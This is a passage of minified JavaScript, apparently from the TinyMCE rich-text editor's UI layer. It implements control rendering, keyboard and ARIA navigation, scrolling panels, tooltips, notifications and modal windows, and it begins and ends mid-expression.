s[n._id],i&&i.parentNode&&i.parentNode.removeChild(i),n.state.set("rendered",!1),n.state.destroy(),n.fire("remove"),n},renderBefore:function(e){return ye(e).before(this.renderHtml()),this.postRender(),this},renderTo:function(e){return ye(e||this.getContainerElm()).append(this.renderHtml()),this.postRender(),this},preRender:function(){},render:function(){},renderHtml:function(){return'<div id="'+this._id+'" class="'+this.classes+'"></div>'},postRender:function(){var e,t,n,i,r,o=this,s=o.settings;for(i in o.$el=ye(o.getEl()),o.state.set("rendered",!0),s)0===i.indexOf("on")&&o.on(i.substr(2),s[i]);if(o._eventsRoot){for(n=o.parent();!r&&n;n=n.parent())r=n._eventsRoot;if(r)for(i in r._nativeEvents)o._nativeEvents[i]=!0}it(o),s.style&&(e=o.getEl())&&(e.setAttribute("style",s.style),e.style.cssText=s.style),o.settings.border&&(t=o.borderBox,o.$el.css({"border-top-width":t.top,"border-right-width":t.right,"border-bottom-width":t.bottom,"border-left-width":t.left}));var a=o.getRoot();for(var l in a.controlIdLookup||(a.controlIdLookup={}),(a.controlIdLookup[o._id]=o)._aria)o.aria(l,o._aria[l]);!1===o.state.get("visible")&&(o.getEl().style.display="none"),o.bindStates(),o.state.on("change:visible",function(e){var t,n=e.value;o.state.get("rendered")&&(o.getEl().style.display=!1===n?"none":"",o.getEl().getBoundingClientRect()),(t=o.parent())&&(t._lastRect=null),o.fire(n?"show":"hide"),Ke.add(o)}),o.fire("postrender",{},!1)},bindStates:function(){},scrollIntoView:function(e){var t,n,i,r,o,s,a=this.getEl(),l=a.parentNode,u=function(e,t){var n,i,r=e;for(n=i=0;r&&r!==t&&r.nodeType;)n+=r.offsetLeft||0,i+=r.offsetTop||0,r=r.offsetParent;return{x:n,y:i}}(a,l);return t=u.x,n=u.y,i=a.offsetWidth,r=a.offsetHeight,o=l.clientWidth,s=l.clientHeight,"end"===e?(t-=o-i,n-=s-r):"center"===e&&(t-=o/2-i/2,n-=s/2-r/2),l.scrollLeft=t,l.scrollTop=n,this},getRoot:function(){for(var e,t=this,n=[];t;){if(t.rootControl){e=t.rootControl;break}n.push(t),t=(e=t).parent()}e||(e=this);for(var i=n.length;i--;)n[i].rootControl=e;return e},reflow:function(){Ke.remove(this);var e=this.parent();return e&&e._layout&&!e._layout.isNative()&&e.reflow(),this}};function nt(n){return n._eventDispatcher||(n._eventDispatcher=new Te({scope:n,toggleEvent:function(e,t){t&&Te.isNative(e)&&(n._nativeEvents||(n._nativeEvents={}),n._nativeEvents[e]=!0,n.state.get("rendered")&&it(n))}})),n._eventDispatcher}function it(a){var e,t,n,l,i,r;function o(e){var t=a.getParentCtrl(e.target);t&&t.fire(e.type,e)}function s(){var e=l._lastHoverCtrl;e&&(e.fire("mouseleave",{target:e.getEl()}),e.parents().each(function(e){e.fire("mouseleave",{target:e.getEl()})}),l._lastHoverCtrl=null)}function u(e){var t,n,i,r=a.getParentCtrl(e.target),o=l._lastHoverCtrl,s=0;if(r!==o){if((n=(l._lastHoverCtrl=r).parents().toArray().reverse()).push(r),o){for((i=o.parents().toArray().reverse()).push(o),s=0;s<i.length&&n[s]===i[s];s++);for(t=i.length-1;s<=t;t--)(o=i[t]).fire("mouseleave",{target:o.getEl()})}for(t=s;t<n.length;t++)(r=n[t]).fire("mouseenter",{target:r.getEl()})}}function c(e){e.preventDefault(),"mousewheel"===e.type?(e.deltaY=-.025*e.wheelDelta,e.wheelDeltaX&&(e.deltaX=-.025*e.wheelDeltaX)):(e.deltaX=0,e.deltaY=e.detail),e=a.fire("wheel",e)}if(i=a._nativeEvents){for((n=a.parents().toArray()).unshift(a),e=0,t=n.length;!l&&e<t;e++)l=n[e]._eventsRoot;for(l||(l=n[n.length-1]||a),a._eventsRoot=l,t=e,e=0;e<t;e++)n[e]._eventsRoot=l;var d=l._delegates;for(r in d||(d=l._delegates={}),i){if(!i)return!1;"wheel"!==r||Qe?("mouseenter"===r||"mouseleave"===r?l._hasMouseEnter||(ye(l.getEl()).on("mouseleave",s).on("mouseover",u),l._hasMouseEnter=1):d[r]||(ye(l.getEl()).on(r,o),d[r]=!0),i[r]=!1):Ze?ye(a.getEl()).on("mousewheel",c):ye(a.getEl()).on("DOMMouseScroll",c)}}}w.each("text title visible disabled active value".split(" "),function(t){tt[t]=function(e){return 0===arguments.length?this.state.get(t):(void 0!==e&&this.state.set(t,e),this)}});var rt=je=Se.extend(tt),ot=function(e){return!!e.getAttribute("data-mce-tabstop")};function st(e){var o,r,n=e.root;function i(e){return e&&1===e.nodeType}try{o=_.document.activeElement}catch(t){o=_.document.body}function s(e){return i(e=e||o)?e.getAttribute("role"):null}function a(e){for(var t,n=e||o;n=n.parentNode;)if(t=s(n))return t}function l(e){var t=o;if(i(t))return t.getAttribute("aria-"+e)}function u(e){var t=e.tagName.toUpperCase();return"INPUT"===t||"TEXTAREA"===t||"SELECT"===t}function c(t){var r=[];return function e(t){if(1===t.nodeType&&"none"!==t.style.display&&!t.disabled){var n;(u(n=t)&&!n.hidden||ot(n)||/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(s(n)))&&r.push(t);for(var i=0;i<t.childNodes.length;i++)e(t.childNodes[i])}}(t||n.getEl()),r}function d(e){var t,n;(n=(e=e||r).parents().toArray()).unshift(e);for(var i=0;i<n.length&&!(t=n[i]).settings.ariaRoot;i++);return t}function f(e,t){return e<0?e=t.length-1:e>=t.length&&(e=0),t[e]&&t[e].focus(),e}function h(e,t){var n=-1,i=d();t=t||c(i.getEl());for(var r=0;r<t.length;r++)t[r]===o&&(n=r);n+=e,i.lastAriaIndex=f(n,t)}function m(){"tablist"===a()?h(-1,c(o.parentNode)):r.parent().submenu?b():h(-1)}function g(){var e=s(),t=a();"tablist"===t?h(1,c(o.parentNode)):"menuitem"===e&&"menu"===t&&l("haspopup")?y():h(1)}function p(){h(-1)}function v(){var e=s(),t=a();"menuitem"===e&&"menubar"===t?y():"button"===e&&l("haspopup")?y({key:"down"}):h(1)}function b(){r.fire("cancel")}function y(e){e=e||{},r.fire("click",{target:o,aria:e})}return r=n.getParentCtrl(o),n.on("keydown",function(e){function t(e,t){u(o)||ot(o)||"slider"!==s(o)&&!1!==t(e)&&e.preventDefault()}if(!e.isDefaultPrevented())switch(e.keyCode){case 37:t(e,m);break;case 39:t(e,g);break;case 38:t(e,p);break;case 40:t(e,v);break;case 27:b();break;case 14:case 13:case 32:t(e,y);break;case 9:!function(e){if("tablist"===a()){var t=c(r.getEl("body"))[0];t&&t.focus()}else h(e.shiftKey?-1:1)}(e),e.preventDefault()}}),n.on("focusin",function(e){o=e.target,r=e.control}),{focusFirst:function(e){var t=d(e),n=c(t.getEl());t.settings.ariaRemember&&"lastAriaIndex"in t?f(t.lastAriaIndex,n):f(0,n)}}}var at={},lt=rt.extend({init:function(e){var t=this;t._super(e),(e=t.settings).fixed&&t.state.set("fixed",!0),t._items=new Ve,t.isRtl()&&t.classes.add("rtl"),t.bodyClasses=new We(function(){t.state.get("rendered")&&(t.getEl("body").className=this.toString())}),t.bodyClasses.prefix=t.classPrefix,t.classes.add("container"),t.bodyClasses.add("container-body"),e.containerCls&&t.classes.add(e.containerCls),t._layout=v.create((e.layout||"")+"layout"),t.settings.items?t.add(t.settings.items):t.add(t.render()),t._hasBody=!0},items:function(){return this._items},find:function(e){return(e=at[e]=at[e]||new Ie(e)).find(this)},add:function(e){return this.items().add(this.create(e)).parent(this),this},focus:function(e){var t,n,i,r=this;if(!e||!(n=r.keyboardNav||r.parents().eq(-1)[0].keyboardNav))return i=r.find("*"),r.statusbar&&i.add(r.statusbar.items()),i.each(function(e){if(e.settings.autofocus)return t=null,!1;e.canFocus&&(t=t||e)}),t&&t.focus(),r;n.focusFirst(r)},replace:function(e,t){for(var n,i=this.items(),r=i.length;r--;)if(i[r]===e){i[r]=t;break}0<=r&&((n=t.getEl())&&n.parentNode.removeChild(n),(n=e.getEl())&&n.parentNode.removeChild(n)),t.parent(this)},create:function(e){var t,n=this,i=[];return w.isArray(e)||(e=[e]),w.each(e,function(e){e&&(e instanceof rt||("string"==typeof e&&(e={type:e}),t=w.extend({},n.settings.defaults,e),e.type=t.type=t.type||e.type||n.settings.defaultType||(t.defaults?t.defaults.type:null),e=v.create(t)),i.push(e))}),i},renderNew:function(){var i=this;return i.items().each(function(e,t){var n;e.parent(i),e.state.get("rendered")||((n=i.getEl("body")).hasChildNodes()&&t<=n.childNodes.length-1?ye(n.childNodes[t]).before(e.renderHtml()):ye(n).append(e.renderHtml()),e.postRender(),Ke.add(e))}),i._layout.applyClasses(i.items().filter(":visible")),i._lastRect=null,i},append:function(e){return this.add(e).renderNew()},prepend:function(e){return this.items().set(this.create(e).concat(this.items().toArray())),this.renderNew()},insert:function(e,t,n){var i,r,o;return e=this.create(e),i=this.items(),!n&&t<i.length-1&&(t+=1),0<=t&&t<i.length&&(r=i.slice(0,t).toArray(),o=i.slice(t).toArray(),i.set(r.concat(e,o))),this.renderNew()},fromJSON:function(e){for(var t in e)this.find("#"+t).value(e[t]);return this},toJSON:function(){var i={};return this.find("*").each(function(e){var t=e.name(),n=e.value();t&&void 0!==n&&(i[t]=n)}),i},renderHtml:function(){var e=this,t=e._layout,n=this.settings.role;return e.preRender(),t.preRender(e),'<div id="'+e._id+'" class="'+e.classes+'"'+(n?' role="'+this.settings.role+'"':"")+'><div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+(e.settings.html||"")+t.renderHtml(e)+"</div></div>"},postRender:function(){var e,t=this;return t.items().exec("postRender"),t._super(),t._layout.postRender(t),t.state.set("rendered",!0),t.settings.style&&t.$el.css(t.settings.style),t.settings.border&&(e=t.borderBox,t.$el.css({"border-top-width":e.top,"border-right-width":e.right,"border-bottom-width":e.bottom,"border-left-width":e.left})),t.parent()||(t.keyboardNav=st({root:t})),t},initLayoutRect:function(){var e=this._super();return this._layout.recalc(this),e},recalc:function(){var e=this,t=e._layoutRect,n=e._lastRect;if(!n||n.w!==t.w||n.h!==t.h)return e._layout.recalc(e),t=e.layoutRect(),e._lastRect={x:t.x,y:t.y,w:t.w,h:t.h},!0},reflow:function(){var e;if(Ke.remove(this),this.visible()){for(rt.repaintControls=[],rt.repaintControls.map={},this.recalc(),e=rt.repaintControls.length;e--;)rt.repaintControls[e].repaint();"flow"!==this.settings.layout&&"stack"!==this.settings.layout&&this.repaint(),rt.repaintControls=[]}return this}});function ut(e){var t,n;if(e.changedTouches)for(t="screenX screenY pageX pageY clientX clientY".split(" "),n=0;n<t.length;n++)e[t[n]]=e.changedTouches[0][t[n]]}function ct(e,h){var m,g,t,p,v,b,y,x=h.document||_.document;h=h||{};var w=x.getElementById(h.handle||e);t=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=(t=x,u=Math.max,n=t.documentElement,i=t.body,r=u(n.scrollWidth,i.scrollWidth),o=u(n.clientWidth,i.clientWidth),s=u(n.offsetWidth,i.offsetWidth),a=u(n.scrollHeight,i.scrollHeight),l=u(n.clientHeight,i.clientHeight),{width:r<s?o:r,height:a<u(n.offsetHeight,i.offsetHeight)?l:a});ut(e),e.preventDefault(),g=e.button,c=w,b=e.screenX,y=e.screenY,d=_.window.getComputedStyle?_.window.getComputedStyle(c,null).getPropertyValue("cursor"):c.runtimeStyle.cursor,m=ye("<div></div>").css({position:"absolute",top:0,left:0,width:f.width,height:f.height,zIndex:2147483647,opacity:1e-4,cursor:d}).appendTo(x.body),ye(x).on("mousemove touchmove",v).on("mouseup touchend",p),h.start(e)},v=function(e){if(ut(e),e.button!==g)return p(e);e.deltaX=e.screenX-b,e.deltaY=e.screenY-y,e.preventDefault(),h.drag(e)},p=function(e){ut(e),ye(x).off("mousemove touchmove",v).off("mouseup touchend",p),m.remove(),h.stop&&h.stop(e)},this.destroy=function(){ye(w).off()},ye(w).on("mousedown touchstart",t)}var dt,ft,ht,mt,gt={init:function(){this.on("repaint",this.renderScroll)},renderScroll:function(){var p=this,v=2;function n(){var m,g,e;function t(e,t,n,i,r,o){var s,a,l,u,c,d,f,h;if(a=p.getEl("scroll"+e)){if(f=t.toLowerCase(),h=n.toLowerCase(),ye(p.getEl("absend")).css(f,p.layoutRect()[i]-1),!r)return void ye(a).css("display","none");ye(a).css("display","block"),s=p.getEl("body"),l=p.getEl("scroll"+e+"t"),u=s["client"+n]-2*v,c=(u-=m&&g?a["client"+o]:0)/s["scroll"+n],(d={})[f]=s["offset"+t]+v,d[h]=u,ye(a).css(d),(d={})[f]=s["scroll"+t]*c,d[h]=u*c,ye(l).css(d)}}e=p.getEl("body"),m=e.scrollWidth>e.clientWidth,g=e.scrollHeight>e.clientHeight,t("h","Left","Width","contentW",m,"Height"),t("v","Top","Height","contentH",g,"Width")}p.settings.autoScroll&&(p._hasScroll||(p._hasScroll=!0,function(){function e(s,a,l,u,c){var d,e=p._id+"-scroll"+s,t=p.classPrefix;ye(p.getEl()).append('<div id="'+e+'" class="'+t+"scrollbar "+t+"scrollbar-"+s+'"><div id="'+e+'t" class="'+t+'scrollbar-thumb"></div></div>'),p.draghelper=new ct(e+"t",{start:function(){d=p.getEl("body")["scroll"+a],ye("#"+e).addClass(t+"active")},drag:function(e){var t,n,i,r,o=p.layoutRect();n=o.contentW>o.innerW,i=o.contentH>o.innerH,r=p.getEl("body")["client"+l]-2*v,t=(r-=n&&i?p.getEl("scroll"+s)["client"+c]:0)/p.getEl("body")["scroll"+l],p.getEl("body")["scroll"+a]=d+e["delta"+u]/t},stop:function(){ye("#"+e).removeClass(t+"active")}})}p.classes.add("scroll"),e("v","Top","Height","Y","Width"),e("h","Left","Width","X","Height")}(),p.on("wheel",function(e){var t=p.getEl("body");t.scrollLeft+=10*(e.deltaX||0),t.scrollTop+=10*e.deltaY,n()}),ye(p.getEl("body")).on("scroll",n)),n())}},pt=lt.extend({Defaults:{layout:"fit",containerCls:"panel"},Mixins:[gt],renderHtml:function(){var e=this,t=e._layout,n=e.settings.html;return e.preRender(),t.preRender(e),void 0===n?n='<div id="'+e._id+'-body" class="'+e.bodyClasses+'">'+t.renderHtml(e)+"</div>":("function"==typeof n&&(n=n.call(e)),e._hasBody=!1),'<div id="'+e._id+'" class="'+e.classes+'" hidefocus="1" tabindex="-1" role="group">'+(e._preBodyHtml||"")+n+"</div>"}}),vt={resizeToContent:function(){this._layoutRect.autoResize=!0,this._lastRect=null,this.reflow()},resizeTo:function(e,t){if(e<=1||t<=1){var n=we.getWindowSize();e=e<=1?e*n.w:e,t=t<=1?t*n.h:t}return this._layoutRect.autoResize=!1,this.layoutRect({minW:e,minH:t,w:e,h:t}).reflow()},resizeBy:function(e,t){var n=this.layoutRect();return this.resizeTo(n.w+e,n.h+t)}},bt=[],yt=[];function xt(e,t){for(;e;){if(e===t)return!0;e=e.parent()}}function wt(){dt||(dt=function(e){2!==e.button&&function(e){for(var t=bt.length;t--;){var n=bt[t],i=n.getParentCtrl(e.target);if(n.settings.autohide){if(i&&(xt(i,n)||n.parent()===i))continue;(e=n.fire("autohide",{target:e.target})).isDefaultPrevented()||n.hide()}}}(e)},ye(_.document).on("click touchstart",dt))}function _t(r){var e=we.getViewPort().y;function t(e,t){for(var n,i=0;i<bt.length;i++)if(bt[i]!==r)for(n=bt[i].parent();n&&(n=n.parent());)n===r&&bt[i].fixed(e).moveBy(0,t).repaint()}r.settings.autofix&&(r.state.get("fixed")?r._autoFixY>e&&(r.fixed(!1).layoutRect({y:r._autoFixY}).repaint(),t(!1,r._autoFixY-e)):(r._autoFixY=r.layoutRect().y,r._autoFixY<e&&(r.fixed(!0).layoutRect({y:0}).repaint(),t(!0,e-r._autoFixY))))}function Rt(e,t){var n,i,r=Ct.zIndex||65535;if(e)yt.push(t);else for(n=yt.length;n--;)yt[n]===t&&yt.splice(n,1);if(yt.length)for(n=0;n<yt.length;n++)yt[n].modal&&(r++,i=yt[n]),yt[n].getEl().style.zIndex=r,yt[n].zIndex=r,r++;var o=ye("#"+t.classPrefix+"modal-block",t.getContainerElm())[0];i?ye(o).css("z-index",i.zIndex-1):o&&(o.parentNode.removeChild(o),mt=!1),Ct.currentZIndex=r}var Ct=pt.extend({Mixins:[He,vt],init:function(e){var i=this;i._super(e),(i._eventsRoot=i).classes.add("floatpanel"),e.autohide&&(wt(),function(){if(!ht){var e=_.document.documentElement,t=e.clientWidth,n=e.clientHeight;ht=function(){_.document.all&&t===e.clientWidth&&n===e.clientHeight||(t=e.clientWidth,n=e.clientHeight,Ct.hideAll())},ye(_.window).on("resize",ht)}}(),bt.push(i)),e.autofix&&(ft||(ft=function(){var e;for(e=bt.length;e--;)_t(bt[e])},ye(_.window).on("scroll",ft)),i.on("move",function(){_t(this)})),i.on("postrender show",function(e){if(e.control===i){var t,n=i.classPrefix;i.modal&&!mt&&((t=ye("#"+n+"modal-block",i.getContainerElm()))[0]||(t=ye('<div id="'+n+'modal-block" class="'+n+"reset "+n+'fade"></div>').appendTo(i.getContainerElm())),u.setTimeout(function(){t.addClass(n+"in"),ye(i.getEl()).addClass(n+"in")}),mt=!0),Rt(!0,i)}}),i.on("show",function(){i.parents().each(function(e){if(e.state.get("fixed"))return i.fixed(!0),!1})}),e.popover&&(i._preBodyHtml='<div class="'+i.classPrefix+'arrow"></div>',i.classes.add("popover").add("bottom").add(i.isRtl()?"end":"start")),i.aria("label",e.ariaLabel),i.aria("labelledby",i._id),i.aria("describedby",i.describedBy||i._id+"-none")},fixed:function(e){var t=this;if(t.state.get("fixed")!==e){if(t.state.get("rendered")){var n=we.getViewPort();e?t.layoutRect().y-=n.y:t.layoutRect().y+=n.y}t.classes.toggle("fixed",e),t.state.set("fixed",e)}return t},show:function(){var e,t=this._super();for(e=bt.length;e--&&bt[e]!==this;);return-1===e&&bt.push(this),t},hide:function(){return Et(this),Rt(!1,this),this._super()},hideAll:function(){Ct.hideAll()},close:function(){return this.fire("close").isDefaultPrevented()||(this.remove(),Rt(!1,this)),this},remove:function(){Et(this),this._super()},postRender:function(){return this.settings.bodyRole&&this.getEl("body").setAttribute("role",this.settings.bodyRole),this._super()}});function Et(e){var t;for(t=bt.length;t--;)bt[t]===e&&bt.splice(t,1);for(t=yt.length;t--;)yt[t]===e&&yt.splice(t,1)}Ct.hideAll=function(){for(var e=bt.length;e--;){var t=bt[e];t&&t.settings.autohide&&(t.hide(),bt.splice(e,1))}};var kt=function(s,n,e){var a,i,l=p.DOM,t=s.getParam("fixed_toolbar_container");t&&(i=l.select(t)[0]);var r=function(){if(a&&a.moveRel&&a.visible()&&!a._fixed){var e=s.selection.getScrollContainer(),t=s.getBody(),n=0,i=0;if(e){var r=l.getPos(t),o=l.getPos(e);n=Math.max(0,o.x-r.x),i=Math.max(0,o.y-r.y)}a.fixed(!1).moveRel(t,s.rtl?["tr-br","br-tr"]:["tl-bl","bl-tl","tr-br"]).moveBy(n,i)}},o=function(){a&&(a.show(),r(),l.addClass(s.getBody(),"mce-edit-focus"))},u=function(){a&&(a.hide(),Ct.hideAll(),l.removeClass(s.getBody(),"mce-edit-focus"))},c=function(){var e,t;a?a.visible()||o():(a=n.panel=v.create({type:i?"panel":"floatpanel",role:"application",classes:"tinymce tinymce-inline",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:(e=i,t=s,!(!e||t.settings.ui_container)),border:1,items:[!1===d(s)?null:{type:"menubar",border:"0 0 1 0",items:re(s)},A(s,f(s))]}),W.setUiContainer(s,a),x(s),i?a.renderTo(i).reflow():a.renderTo().reflow(),R(s,a),o(),F(s),s.on("nodeChange",r),s.on("ResizeWindow",r),s.on("activate",o),s.on("deactivate",u),s.nodeChanged())};return s.settings.content_editable=!0,s.on("focus",function(){!1===m(s)&&e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,c,c):c()}),s.on("blur hide",u),s.on("remove",function(){a&&(a.remove(),a=null)}),!1===m(s)&&e.skinUiCss?l.styleSheetLoader.load(e.skinUiCss,ge(s)):ge(s)(),{}};function Ht(i,r){var o,s,a=this,l=rt.classPrefix;a.show=function(e,t){function n(){o&&(ye(i).append('<div class="'+l+"throbber"+(r?" "+l+"throbber-inline":"")+'"></div>'),t&&t())}return a.hide(),o=!0,e?s=u.setTimeout(n,e):n(),a},a.hide=function(){var e=i.lastChild;return u.clearTimeout(s),e&&-1!==e.className.indexOf("throbber")&&e.parentNode.removeChild(e),o=!1,a}}var St=function(e,t){var n;e.on("ProgressState",function(e){n=n||new Ht(t.panel.getEl("body")),e.state?n.show(e.time):n.hide()})},Tt=function(e,t,n){var i=function(e){var t=e.settings,n=t.skin,i=t.skin_url;if(!1!==n){var r=n||"lightgray";i=i?e.documentBaseURI.toAbsolute(i):l.baseURL+"/skins/"+r}return i}(e);return i&&(n.skinUiCss=i+"/skin.min.css",e.contentCSS.push(i+"/content"+(e.inline?".inline":"")+".min.css")),St(e,t),e.getParam("inline",!1,"boolean")?kt(e,t,n):be(e,t,n)},Mt=rt.extend({Mixins:[He],Defaults:{classes:"widget tooltip tooltip-n"},renderHtml:function(){var e=this,t=e.classPrefix;return'<div id="'+e._id+'" class="'+e.classes+'" role="presentation"><div class="'+t+'tooltip-arrow"></div><div class="'+t+'tooltip-inner">'+e.encode(e.state.get("text"))+"</div></div>"},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl().lastChild.innerHTML=t.encode(e.value)}),t._super()},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+"px",e.top=t.y+"px",e.zIndex=131070}}),Nt=rt.extend({init:function(i){var r=this;r._super(i),i=r.settings,r.canFocus=!0,i.tooltip&&!1!==Nt.tooltips&&(r.on("mouseenter",function(e){var t=r.tooltip().moveTo(-65535);if(e.control===r){var n=t.text(i.tooltip).show().testMoveRel(r.getEl(),["bc-tc","bc-tl","bc-tr"]);t.classes.toggle("tooltip-n","bc-tc"===n),t.classes.toggle("tooltip-nw","bc-tl"===n),t.classes.toggle("tooltip-ne","bc-tr"===n),t.moveRel(r.getEl(),n)}else t.hide()}),r.on("mouseleave mousedown click",function(){r.tooltip().remove(),r._tooltip=null})),r.aria("label",i.ariaLabel||i.tooltip)},tooltip:function(){return this._tooltip||(this._tooltip=new Mt({type:"tooltip"}),W.inheritUiContainer(this,this._tooltip),this._tooltip.renderTo()),this._tooltip},postRender:function(){var e=this,t=e.settings;e._super(),e.parent()||!t.width&&!t.height||(e.initLayoutRect(),e.repaint()),t.autofocus&&e.focus()},bindStates:function(){var t=this;function n(e){t.aria("disabled",e),t.classes.toggle("disabled",e)}function i(e){t.aria("pressed",e),t.classes.toggle("active",e)}return t.state.on("change:disabled",function(e){n(e.value)}),t.state.on("change:active",function(e){i(e.value)}),t.state.get("disabled")&&n(!0),t.state.get("active")&&i(!0),t._super()},remove:function(){this._super(),this._tooltip&&(this._tooltip.remove(),this._tooltip=null)}}),Pt=Nt.extend({Defaults:{value:0},init:function(e){this._super(e),this.classes.add("progress"),this.settings.filter||(this.settings.filter=function(e){return Math.round(e)})},renderHtml:function(){var e=this._id,t=this.classPrefix;return'<div id="'+e+'" class="'+this.classes+'"><div class="'+t+'bar-container"><div class="'+t+'bar"></div></div><div class="'+t+'text">0%</div></div>'},postRender:function(){return this._super(),this.value(this.settings.value),this},bindStates:function(){var t=this;function n(e){e=t.settings.filter(e),t.getEl().lastChild.innerHTML=e+"%",t.getEl().firstChild.firstChild.style.width=e+"%"}return t.state.on("change:value",function(e){n(e.value)}),n(t.state.get("value")),t._super()}}),Wt=function(e,t){e.getEl().lastChild.textContent=t+(e.progressBar?" "+e.progressBar.value()+"%":"")},Dt=rt.extend({Mixins:[He],Defaults:{classes:"widget notification"},init:function(e){var t=this;t._super(e),t.maxWidth=e.maxWidth,e.text&&t.text(e.text),e.icon&&(t.icon=e.icon),e.color&&(t.color=e.color),e.type&&t.classes.add("notification-"+e.type),e.timeout&&(e.timeout<0||0<e.timeout)&&!e.closeButton?t.closeButton=!1:(t.classes.add("has-close"),t.closeButton=!0),e.progressBar&&(t.progressBar=new Pt),t.on("click",function(e){-1!==e.target.className.indexOf(t.classPrefix+"close")&&t.close()})},renderHtml:function(){var e,t=this,n=t.classPrefix,i="",r="",o="";return t.icon&&(i='<i class="'+n+"ico "+n+"i-"+t.icon+'"></i>'),e=' style="max-width: '+t.maxWidth+"px;"+(t.color?"background-color: "+t.color+';"':'"'),t.closeButton&&(r='<button type="button" class="'+n+'close" aria-hidden="true">\xd7</button>'),t.progressBar&&(o=t.progressBar.renderHtml()),'<div id="'+t._id+'" class="'+t.classes+'"'+e+' role="presentation">'+i+'<div class="'+n+'notification-inner">'+t.state.get("text")+"</div>"+o+r+'<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;" aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div></div>'},postRender:function(){var e=this;return u.setTimeout(function(){e.$el.addClass(e.classPrefix+"in"),Wt(e,e.state.get("text"))},100),e._super()},bindStates:function(){var t=this;return t.state.on("change:text",function(e){t.getEl().firstChild.innerHTML=e.value,Wt(t,e.value)}),t.progressBar&&(t.progressBar.bindStates(),t.progressBar.state.on("change:value",function(e){Wt(t,t.state.get("text"))})),t._super()},close:function(){return this.fire("close").isDefaultPrevented()||this.remove(),this},repaint:function(){var e,t;e=this.getEl().style,t=this._layoutRect,e.left=t.x+"px",e.top=t.y+"px",e.zIndex=65534}});function Ot(o){var s=function(e){return e.inline?e.getElement():e.getContentAreaContainer()};return{open:function(e,t){var n,i=w.extend(e,{maxWidth:(n=s(o),we.getSize(n).width)}),r=new Dt(i);return 0<(r.args=i).timeout&&(r.timer=setTimeout(function(){r.close(),t()},i.timeout)),r.on("close",function(){t()}),r.renderTo(),r},close:function(e){e.close()},reposition:function(e){K(e,function(e){e.moveTo(0,0)}),function(n){if(0<n.length){var e=n.slice(0,1)[0],t=s(o);e.moveRel(t,"tc-tc"),K(n,function(e,t){0<t&&e.moveRel(n[t-1].getEl(),"bc-tc")})}}(e)},getArgs:function(e){return e.args}}}var At=[],Bt="";function Lt(e){var t,n=ye("meta[name=viewport]")[0];!1!==ce.overrideViewPort&&(n||((n=_.document.createElement("meta")).setAttribute("name","viewport"),_.document.getElementsByTagName("head")[0].appendChild(n)),(t=n.getAttribute("content"))&&void 0!==Bt&&(Bt=t),n.setAttribute("content",e?"width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0":Bt))}function zt(e,t){(function(){for(var e=0;e<At.length;e++)if(At[e]._fullscreen)return!0;return!1})()&&!1===t&&ye([_.document.documentElement,_.document.body]).removeClass(e+"fullscreen")}var It=Ct.extend({modal:!0,Defaults:{border:1,layout:"flex",containerCls:"panel",role:"dialog",callbacks:{submit:function(){this.fire("submit",{data:this.toJSON()})},close:function(){this.close()}}},init:function(e){var n=this;n._super(e),n.isRtl()&&n.classes.add("rtl"),n.classes.add("window"),n.bodyClasses.add("window-body"),n.state.set("fixed",!0),e.buttons&&(n.statusbar=new pt({layout:"flex",border:"1 0 0 0",spacing:3,padding:10,align:"center",pack:n.isRtl()?"start":"end",defaults:{type:"button"},items:e.buttons}),n.statusbar.classes.add("foot"),n.statusbar.parent(n)),n.on("click",function(e){var t=n.classPrefix+"close";(we.hasClass(e.target,t)||we.hasClass(e.target.parentNode,t))&&n.close()}),n.on("cancel",function(){n.close()}),n.on("move",function(e){e.control===n&&Ct.hideAll()}),n.aria("describedby",n.describedBy||n._id+"-none"),n.aria("label",e.title),n._fullscreen=!1},recalc:function(){var e,t,n,i,r=this,o=r.statusbar;r._fullscreen&&(r.layoutRect(we.getWindowSize()),r.layoutRect().contentH=r.layoutRect().innerH),r._super(),e=r.layoutRect(),r.settings.title&&!r._fullscreen&&(t=e.headerW)>e.w&&(n=e.x-Math.max(0,t/2),r.layoutRect({w:t,x:n}),i=!0),o&&(o.layoutRect({w:r.layoutRect().innerW}).recalc(),(t=o.layoutRect().minW+e.deltaW)>e.w&&(n=e.x-Math.max(0,t-e.w),r.layoutRect({w:t,x:n}),i=!0)),i&&r.recalc()},initLayoutRect:function(){var e,t=this,n=t._super(),i=0;if(t.settings.title&&!t._fullscreen){e=t.getEl("head");var r=we.getSize(e);n.headerW=r.width,n.headerH=r.height,i+=n.headerH}t.statusbar&&(i+=t.statusbar.layoutRect().h),n.deltaH+=i,n.minH+=i,n.h+=i;var o=we.getWindowSize();return n.x=t.settings.x||Math.max(0,o.w/2-n.w/2),n.y=t.settings.y||Math.max(0,o.h/2-n.h/2),n},renderHtml:function(){var e=this,t=e._layout,n=e._id,i=e.classPrefix,r=e.settings,o="",s="",a=r.html;return e.preRender(),t.preRender(e),r.title&&(o='<div id="'+n+'-head" class="'+i+'window-head"><div id="'+n+'-title" class="'+i+'title">'+e.encode(r.title)+'</div><div id="'+n+'-dragh" class="'+i+'dragh"></div><button type="button" class="'+i+'close" aria-hidden="true"><i class="mce-ico mce-i-remove"></i></button></div>'),r.url&&(a='<iframe src="'+r.url+'" tabindex="-1"></iframe>'),void 0===a&&(a=t.renderHtml(e)),e.statusbar&&(s=e.statusbar.renderHtml()),'<div id="'+n+'" class="'+e.classes+'" hidefocus="1"><div class="'+e.classPrefix+'reset" role="application">'+o+'<div id="'+n+'-body" class="'+e.bodyClasses+'">'+a+"</div>"+s+"</div></div>"},fullscreen:function(e){var n,t,i=this,r=_.document.documentElement,o=i.classPrefix;if(e!==i._fullscreen)if(ye(_.window).on("resize",function(){var e;if(i._fullscreen)if(n)i._timer||(i._timer=u.setTimeout(function(){var e=we.getWindowSize();i.moveTo(0,0).resizeTo(e.w,e.h),i._timer=0},50));else{e=(new Date).getTime();var t=we.getWindowSize();i.moveTo(0,0).resizeTo(t.w,t.h),50<(new 